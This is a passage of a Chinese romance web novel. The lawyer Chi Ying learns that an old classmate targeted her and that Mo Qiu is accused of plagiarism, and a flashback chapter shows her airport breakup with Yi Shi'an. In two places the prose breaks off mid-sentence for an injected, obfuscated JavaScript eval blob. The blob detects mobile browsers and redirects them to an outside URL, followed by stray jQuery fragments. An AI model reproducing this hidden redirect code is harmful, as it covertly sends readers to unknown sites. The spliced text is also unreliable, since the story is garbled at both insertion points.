“哎你刚才说坠楼,是尚实青导致的吗?”顾一书尝了个小菜,皱眉问。
“对。”迟影点头。
“靠!尚实青高中的时候就不老实,总挑事,但没想到现在这么极端!”顾一书长叹口气,语言嫌弃,“不过他怎么总针对你?听说这次他故意找你们律所,还指定你来负责这个案件。你们有什么过节吗?”
“什么?”迟影一惊。
她并不知道这些事,还以为遇上尚实青纯属是巧合:“警方没跟我说这些。另外你刚才说他总针对我,是什么意思?”
“高中的时候啊。”顾一书声音抬高,随即想起了什么,“哦对,你不知道那事。”
“什么?”
“就……哎算了!提起来晦气,就是他曾经想整你,结果没成功。”顾一书摆摆手,“反正他现在进去了,没必要再提这些恶心事。”
见对方不想多说,迟影也没再追问。按照尚实青一贯的行事风格来说,估计又是幼稚且恶劣的行径。
但她仍不解,高中想整她可以勉强解释为是不懂事男生的恶作剧心理。可这次立兴的事情,尚实青为什么又盯上了她?
难道是因为,后来有次两人爆发的激烈冲突?但那件事情,不足以让他记恨这么多年吧?
毕竟以他极端的性格,这么多年闯荡江湖应该没少结仇。对比之下,高中时跟她之间的那些小摩擦,着实算不上什么。
思及此,迟影突然想到,跳楼前尚实青似乎对莫秋喊了一句话——“怎么,这么多年不见,你还是不放过我啊?”
当时她就很在意,但情况紧急也来不及细究。现在想来,尚实青和莫秋之间,似乎也不简单。
而且从目前的情况来看,莫秋五月份临时回国,似乎就是冲着立兴的事而来。可立兴跟他有什么关系?他为什么要为了立兴放下毕业的事,专程回国?
难道这次立兴出事,不仅仅是王林背叛导致,还与莫秋有关?
一时间,迟影脑海中问题翻飞,一团乱麻,半天也没理清楚繁杂的各种关系。
见迟影神情严肃,顾一书安慰道:“反正尚实青现在进去了,无论如何都是好消息!”
迟影回过神来,温和地笑笑。
他笑着对几人举杯:“为坏人罪有应得,为我们久别重逢,Cheers!”
“Cheers!”
……
周末晌午,迟影被一阵电话铃声吵醒。她在心里暗骂一句,眯着眼看了下来电显示:“你最好有重要的事情。”
“已经中午了,赶紧起床给我开门。”电话那端传来邓月菲气喘吁吁的声音,紧接着门铃响起。
迟影拖着疲惫的身躯打开门,整个人像散架一样靠在门框上:“我昨天加班到4点,现在连8小时都还没睡满。你是人吗姐?”
“那也得起了,不然晚上更睡不着!”邓月菲双手满满当当,拎着打包的饭菜招呼她,“赶紧洗手,准备吃饭!”
迟影无奈地走进卫生间洗漱,含糊不清地问:“菜哪里来的?你不可能自己掏钱买还喊我一起吃。”
邓月菲狡黠地眨眨眼:“老板奖励我们每人1500的餐费报销额度。我一个人也用不完,这不想到我的好姐妹了吗?”
确认饭菜来源合法,迟影才敢坐下跟她一起风卷残云,吃完后两人窝在沙发里消食。
“说起来,那天跟莫生吃饭时他提到件事。”躺在沙发上刷手机的邓月菲突然出声。
半天没等到迟影的下文,邓月菲侧头,只见对方正若有所思地看她。
邓月菲:“?”
邓月菲:“有话就说,别在这吓人。”
迟影:“你什么时候跟莫生吃饭的?”
邓月菲:“……”
迟影
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059562|194996||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“你们两个私下约的?”
邓月菲指着她电视上的游戏页面:“你不玩我帮你玩了!”
“……”
果然有问题!
迟影笑了笑没说话。
看来莫生是个行动派啊,后生可畏。
“他说了什么事?”迟影嘴里叼个棒棒糖,这才接上刚才的话茬,继续在奥德赛里勤勤恳恳找月亮。
“魔头这段时间好像被针对了。”
迟影轻笑一声,只觉得稀奇:“他还能被针对?”
“嗯,好像说是他前两天发表的一篇文章,被指抄袭。”邓月菲顿了顿,瞥她一眼,“还说被他抄的那篇文章,一作是赵力。”
“不过也挺奇怪,莫生说他哥之前从来不发这种小刊。”
“……”
后面邓月菲说了什么她已经听不到。
她笑容缓慢消失,手指紧紧攥着游戏机,不敢相信自己听到的话:“莫秋抄赵力?”
“是啊。”邓月菲从沙发上坐起,“而且如此离谱的事情,竟然有人相信。”
迟影眉头紧锁:“什么意思?”
“根据莫生的说法,管委会没有人质疑指控,所以目前可能会给出确认抄袭的决定。”
?
棒棒糖被嘎嘣一下咬得稀碎。
虽然这个世界很多事情不讲理,但这件事不讲理到荒唐的程度。
迟影无语至极,甚至觉得好笑:“他一个开公司的,碰瓷学术圈是什么操作?”
“哎!这你就不知道了!”邓月菲说,“我查了下,他虽然是开公司的,但毕竟有之前知名大学的研究员履历作保底,现在致力于混学术圈。”
“不仅跟大学频繁合作项目,还以一作身份发表多篇文章。你还别说,他这条赛道走得挺成功,很多投资人和公司都更相信这种有学术成就的商人,类似于‘科班出身’吧。”
这种情况倒不少见,迟影也有很多客户公司的创始人是学者。只是赵力……实在差得离谱。
邓月菲叹口气:“他手段真不一般。现在想想你当时那事,多少有点后怕。”
“赵力针对他,是因为上次在餐厅的事吗?”迟影问。
邓月菲看出来她在想什么,安慰道:“赵力这人你知道,他看谁都不顺眼。尤其是比他有实力的,不服从他的,都是他的打击目标,跟你没关系。”
迟影唇角紧绷,眼睫低垂,目光凛冽得没有温度。
她知道莫秋的事她不应该插手,对方应该也不需要她插手。但莫秋初入职场就被赵力这种阴险小人针对,罪魁祸首还是她,她很难无动于衷。
“莫秋准备怎么应对?”
“据莫生所说,目前没见他哥有什么反应。”
邓月菲起身,走到她身旁捏了捏迟影的手:“小影,你现在跟赵力没什么交集,最好别再惹他。”
迟影知道,不再招惹是明智的选择,她也没有实力与他对抗。
但这事由她而起,还拉扯无关人士入局,她做不到袖手旁观。
有些事,或许该有个了结了。
迟影沉思片刻,拿起手机,发微信给李姜。
“李律师,Alba那个项目,能否交给我做。”
14. 分手
南方的夏天最是闷热,太阳被挡在云层后,洒出来的光线都带着湿润气息。
刚出机场,迟影的衬衫已经被汗水湿透,皱巴巴地贴在身上。
等上了出租车,凉爽的空气从肌肤的每个角落侵入,她才感觉缓过来不少。
司机是位四十多岁的阿姨,从后视镜里看了眼后座,热情地开口。
“小姑娘,你是外地人吧?”
迟影刚给乔新发完消息,用纸巾擦了擦额上的薄汗,轻轻嗯了声。
阿姨看女生长得精致漂亮,素面朝天,扎着高马尾也就二十出头:“在这里上大学吗?”
没想到自己会被认成大学生,迟影笑笑:“我来出差,顺便回趟母校。”
“已经上班了?”阿姨一愣,眉毛惊讶地抬了抬,“这么年轻,完全看不出来噢!你是哪所学校毕业的呀?”
迟影看着窗外:“J大。”
“哦哟!”阿姨眼睛瞬间亮起来,腰也坐直,眼睛不停看后视镜,“高材生啊!J大可是全国前三的学校,你高考成绩一定很好吧?”
迟影放空的视线滞了下。
成绩好?算吗?
按正常标准来看,应该能算。
但对她而言,高考时与A大差的那3分,却让她再也赶不上易时安的步伐。
自从大学毕业后,迟影再没有来过这座城市。
不是没有回来的原因,而是她不敢来。
这个城市的许多角落,都有易时安来看她时,和她一起漫步的记忆。
很普通,很平凡,却正因为太过普通平凡,而渗入了生活的每个角落,以至于随便做点什么,都会想起他。
她还清楚地记得,当年在这个机场,易时安听到她的话后满脸错愕样子。
“分手?为什么要分手?”
迟影垂着头,沉默不语。
易时安眼色微暗,双手紧紧握住她肩膀,试图让她抬头看他:“这么多年的感情,你说不要就不要了?”
迟影蹙起眉,试图跟他解释:“说了很多次,我不是这个意思……”
“那是什么意思?”易时安凝视着她,眼眶泛红,竭力维持着理智,“阿影,这段时间,我能感觉到咱们之间有问题,但我不知道问题在哪。”
“是路径规划?还是性格分歧?又或者是其他?”
面对他一句句质问,迟影几乎不敢抬眼看他,只能努力保持声音平静:“你已经拿到了美国H大的博士offer,那是世界顶级名校。”
“所以呢?这不是好事吗?”
“是好事。”迟影轻轻点头,扯出一个极淡又苦涩的笑,“可是时安,我……不可能申请到H大。”
虽然J大也是全国名校,但H大的申请难度太高。迟影了解过,即使是往年J大的年级第一,能拿到H大录取通知书的也是凤毛麟角。
她与A大差的那3分,仿佛注定了之后的人生轨迹。即使大学期间,她已经竭尽全力追赶易时安的步伐,但还是能感觉到自己与他的差距越来越大。
就像脱离了巨轮的小船,被余浪拍得渐行渐远,而又无力回天。
“时安,对不起,我……”
“我不接受!”易时安将她一把拽入怀中,声音隐在她发间,带着隐约的颤抖,“听到了么?阿影,我不接受。”
他将脸深深埋进她后颈,灼热的气息烫着皮肤,连低哑的恳求中都带了湿意:“阿影,你抱抱我……抱抱我好不好?”
迟影被他禁锢着,心仿佛被一把钝刀慢慢凌迟,缓慢却致命,连带着五脏六腑都针扎般抽痛,绝望得拧成一团。
她垂在身侧的手微微颤动,可最终,还是没抬起来。
这彻底的沉默和抗拒,成为压垮易时安的最后一根稻草。
他倏地低下头,带着狠决的力道抬起她下巴,没有任何预告,就这么不管不顾,径直吻了上去。
迟影从未见过他如此强势甚至蛮横的态度,愣了一秒,旋即开始挣扎,双臂使出狠劲想要推开他。
然而易时安一手牢牢钳着她下巴,一手禁锢住她的腰,将人完全控制在怀抱内。无论迟影怎么动作,都力量悬殊,无济于事。
她被迫受着他狂风暴雨似的吻,耗尽所有力气,又像是被某种更深的悲哀裹挟,最终放弃挣扎。
她右手缓缓抬起,环上他紧绷的背脊,很轻、很慢地拍了两下。
一种疲惫的安抚,和无声的妥协。
正是这个微小的动作,让易时安浑身力道一松,终于冷静下来。他抵着她额头缓了半晌,慢慢放开女生。
迟影向后退开一小步,微微偏头,花了点时间平复紊乱的呼吸,唇上残留的麻木感渐渐褪去,才感受到一种带着空虚的刺痛感。
她抬头,声音异常冷静:“时安,咱们好好谈谈?”
易时安站在她面前,眼睛红得厉害,下唇有处被她不小心撞到的细小伤口,隐隐渗出血丝。突兀的伤痕,配上他英俊却苍白面容,显得格外脆弱和哀伤。
“好。”他点点头。
迟影望进他通红的眼底,轻声问:“接下来的硕博五年,你还能接受异地吗?”
闻声,他目光闪了下,有一瞬间的沉默,随后斩钉截铁:“不能。”
迟影极轻地笑了笑。即使心里早有准备,亲耳听到他的回答时,还是抑制不住那股无力和悲伤。
“但是,”易时安急急上前一步,握住她微凉的手,“你可以申请跟我同一个城市的学校!H大附近有很多好学校,你知道的,以你的背景和能力完全有机会……”
“嗯,我知道。”迟影点头,没有抽回手,却也没回握,“但我硕士阶段想读法律。除了H大之外的那些学校,都偏向理工科。”
“法律?为什么想学法律?”易时安按着她的肩,“你在软工领域的才华有目共睹,未来一片光明,为什么要转专业?”
“最重要的是,阿影,只要你按现在的路走下去,我们之间就不会有任何阻碍。”
“我知道。”迟影抬眸,冷静地打断他,“可是,我不喜欢。”
她话音落下,对方刚刚燃起的一丝希望,倏然熄灭了。
“我知道这行赚钱,我也有做这行的能力和头脑。”迟影神色认真,一字一句道,“可是时安,我真的不喜欢。”
“你能明白吗?”
易时安张张嘴,仿佛想再找出什么方案和理由,却都被堵在了喉咙里。双方相顾无言,陷入新一轮的沉默。
许久,易时安像下定了决心,直直看向迟影:“没事,我可以放弃H大,跟你去你的城市。”
“……”
迟影一怔,心跳骤停。
眼前是她倾心多年的面容,那双时常含笑看
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059563|194996||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她的眼睛,此刻是毫无保留的深情和坚定。
感动、爱恋以及经年累月的依赖,无一不冲击着她辛苦筑起的理智防线,在本能的驱使下,那个“好”字几乎就要脱口而出——
可那不该是易时安的人生!
这个念头一出,她顿觉寒意漫身,瞬间清醒。
“我不同意。”迟影哑声道。
“为什么?”他眉头紧锁,一贯清俊的脸上满是难以置信和迷茫不解,“我去找你,配合你的安排,不会耽误你的学业,为什么还是不行?”
迟影低下头,手指紧绞在一起。
与易时安并肩走过这么多年,她几乎见证了他每次的蜕变和成长。
初中考试失利,易时安会罚自己在楼下操场跑五千米,从不偷懒。即使发高烧到39度,每天额外要做的习题也一次不落。
到了高中,他以35名的成绩进入竞赛班,面临非同寻常的压力,所有人都以为,那是他的极限。
然而仅一年,他便以惊人的成绩考入班级前三,成为老师此后鼓励每届竞赛班学生时,必然提及的传奇。
甚至连迟影都低估了他的实力。
后来她借机问起,他只笑着揉揉她发顶,温柔道:“你的男朋友,无所不能。”
可迟影却记得,她某次路过办公室时,听到齐老师正耐心劝他:“你悠着点!哪有人每天只睡3个小时?就是神仙来了也扛不住啊!”
他的云淡风轻,掀开皆是血泪。
她又怎么敢折他羽翼,误他前程?
机场广播模糊成遥远的背景噪音,在她耳边嗡嗡作响。
迟影不敢抬头,目光死死锁在地面上,她怕再看一眼,自己就缴械投降。
“如果你一定要一个理由,那我告诉你。”
她顿了顿,声音从喉咙中挤出:
“因为跟你在一起,太累了。”
“我追不上,也不想追了。”
“实在是,不值得。”
机场嘈杂,迟影却清晰地听到易时安拼命压抑却仍紊乱的呼吸声。他茫然地站在阴影里,像个找不到家的孩子,不知所措,无所适从。
她不能抬头。
那是她永远也追不上的人了。
易时安踉跄地后退两步,低低轻笑了声。那声音飘在空中,像自嘲,又像叹息。
“迟影,这么多年的感情,你用一句‘不值得’来收尾。”
“好,算我错付。”
他嗓音嘶哑,连呼吸都带着湿意。
“之前答应过,你的每个愿望,我都会帮你实现。”
“那么最后这个,也如你所愿。”
“我成全你。”
笼罩在迟影眼前的阴影散去,沉重的脚步声一下一下,朝着相反的方向,没有任何迟疑,与她渐行渐远。
她的半个青春,也一同抽离。
豆大的泪珠夺眶而出,像决堤的河水般奔涌而落,砸在冰冷的大理石砖上,无声而又绝望。那一刻她的世界再听不到任何声音,只剩下分崩离析的乱景和破碎不堪的光线,散若雨雪,七零八落。
易时安的背影已经被泪水浸染得模糊不清,遥远得像一场虚无的梦境。
“时安,对不起。”
她闭上眼,苦涩地笑笑。
“愿你今后的人生,天从人愿,自在而安。”